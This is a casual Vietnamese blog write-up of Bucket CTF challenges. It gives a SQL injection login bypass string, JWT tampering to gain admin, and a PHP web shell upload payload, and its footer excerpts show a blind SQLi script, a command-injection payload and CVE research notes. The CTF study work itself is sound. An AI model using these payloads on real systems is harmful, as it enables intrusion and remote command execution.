SERI TRUYỀN KÌ

BUCKET CTF thật sú, giải này mình hơi phân tâm do chs tận 3 giải nên kết quả khá tệ, T_T

Let's go

Misc1: survey.

Bài này là nháp thôi, lấy ý kiến người dùng rồi cho flag nên tui sẽ bỏ qua :DD
Pwn1: Parrot
Đề bài cho mình 1 link, netcat thử xem. Mình thử nhập admin thấy nó trả về Hello {input}\n ! You'll never get my secret!
Mình thử kiểm tra xem nó có bị buffer overflow ko
Trông có vẻ là không bị, mình thử kiểm tra lỗi khác cụ thể là format string attack.
À há, bị lỗi nha :DD bây giờ chỉ cần tìm flag thôi :>
Crypto1: TBBDLCG
lần này tiếp tục netcat để tìm flag
mình thử nhập đại 
Bài này h mình còn chả biết làm thế nào mà mình solve đc :v mình chỉ nhớ spin bot là locate mình :v
Thế là qua, nhưng h thấy lại thì ăn may tận 5 lần :))
Web1: SQLi 1
Đề cho như này, thử xem có gì không
mình được cho một trang index như này. Với kinh nghiệm deface mõm lâu năm, thử payload admin'or'1'='1'-- -
thế là có flag :D
Web2: SQLi 2
Tiếp tục với chall sqli 2, lần này độ phức tạp là medium nhưng mình thấy nó không khác bài 1 là bao :D
vẫn sài payload cũ và nhận flag. Author chán quá
Web3: Ping check
thử thách này không có link, mà thử thách nào mà không có link thì mình lại ức chế vì không biết bắt đầu từ đâu :V Tiếc là bài này mình mell solve được trong lúc thời gian thi do thường flag nó kiểu abc_xyz mà đây lại là abc-xyz T_T
Mình thử thấy cursor nó thay đổi lúc di chuột vào mô tả, ấn vào thì ra 1 trang github và nhận flag
Web4: SQLi 3
Vẫn là sqli nhưng lần này dùng tool
Yeb đúng vại, tool luôn là thứ script kiddie chúng toai thích 
Bú win thôi UwU
Web5: Auth
Bài này mình cũng bị sú, giải nhiều ctf cùng 1 ngày quá nên đầu óc không tỉnh táo
B0nk nó thoai.Có 1 form login 
mình thử nhập sai thì nó bảo register thế là mình đăng kí 1 account luôn 
lúc đăng kí xong nó quăng 1 cái jwt, mình thử check xem nó có j 

Thật đau đớn, kiểm tra history thì thấy 1 endpoint khả nghi 
mày không thoát được đâu con trai :D Tưởng ăn ngay nhưng không, chỉ admin mới ăn nó được :>
Thế là sửa jwt thành admin và nhận cơm thôi
Web 6: Sqli 4
Như mình đã nói, để trở thành một script kiddie thì chúng ta phải vận dụng tool. Tool không phế, bạn phế 
Nhận flag thôi :D

Web 7: GIF 
Hehe đề bài quá dễ đoạn, liên quan đến file upload rồi.
mình thử upload 1 file gif 
file gif mình được lưu tại đây, ý tưởng là mình sẽ đổi filename thành hack.php để tạo 1 con shell.
bây giờ thử sửa thành php coi
payload: <?php system('ls -la'); ?>

và UwU
























GÚT CTF

Nhận xét

Đăng nhận xét

Bài đăng phổ biến từ blog này

Hình ảnh
 WolvCTF and i did my best. Hello guys, our team got rank 48th when i decide to write this writeup. I had just solved 2 web. Have no time for Other up 2,3,4 challenges btw i will do it later. Web1: Bean Cafe We need upload 2 difference images but same the md5 hash I found this drive which contain 2  image :d thx someone whose i dont know the name lmao https://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0 Uploaded it Web2: Order Up 1  This is my script. Yeah that's all import requests import json import string a = string.printable s = "" url = "https://dyn-svc-order-up-xec3il0vccu5tn6p0q2n-okntin33tq-ul.a.run.app/query" for i in range ( 1 , 100 ):     for j in a:         data = {             "col1" : "item_name" ,             "order" : f " (case when (ascii(substr(current_query(), { i } ,1))= { ord (j) } ) then item_name else category end)" ...
Đọc thêm
Hình ảnh
KMA THI SINH VIÊN ATTT CẤP HỌC VIỆN Hế lô ae, giải này end cũng mấy hôm rồi nhưng mà mình cũng chưa định viết writeup do còn 2 bài web nữa chưa xong :( Nhưng mà kệ đi, dưới đây là 3 bài mình đã solve. :( Pwn1: Welcome to KCSC Bài này mình chỉ đăng script thôi, xin nhỗi mn :> from pwn import * import requests # elf = context.binary = ELF("./advice") pay1 = b ''' Hello" && /usr/bin/as @/root/root.txt; echo" ''' pay2 = b " 111111 " # r = elf.process([pay1, pay2]) d = requests . post ( " http://103.162.14.116:5001/contact " , data ={ " name " : pay1 , " advice " : pay2 } ) print ( d . text ) # r.interactive() Web1: You are a good admin. Mn có thể tải file tại đây . Sau khi build docker xong, hãy quan sát một chút về code  có 4 route là / /login /admin /file. Cái /tesing là mình tự thêm vào nên mn không cần để ý đâu :)) Tại route /file, ta dễ thấy nó đang bị lỗi file inclusion tại tham số f. ...
Đọc thêm

CVE-2023–41425 but only RCE part

Hình ảnh
CVE-2023–41425 Lời nói đầu: Bài viết này có ở đây để mình hiểu sâu hơn về cách tìm lỗi trong các mã nguồn CMS, rất mong được mọi người đón nhận và sửa lỗi nếu có sai sót.  ---------------------------------------------------------------------------------------------------------------------------- Đầu tiên lên nvd.nist.gov để tìm hiểu lỗi. Như trên hình thì nó cho ta biết một lỗi XSS tại version 3.2.0->3.4.2 của Wonder CMS có thể dẫn đến RCE thông qua installModule component. Mình cũng nói trước là mình chỉ research RCE part, còn XSS thì mình sẽ không quan tâm mặc dù nó cũng trong phần Attack Chain Tiến hành download bản lỗi, tại đây mình download bản 3.4.2 cũng tức là bản đang có lỗi này.  Tại dòng 146, mình thấy có hàm installUpdateModuleAction(). Tuy nhiên, dòng 142 cho biết chúng ta phải đăng nhập mới có thể sử dụng tính năng này. -> cần xác thực Vì muốn hiểu cách thức RCE nên mình sẽ bỏ qua phần xác thực, tiến hành đăng nhập luôn Hàm này sẽ hoạt động như nào...
Đọc thêm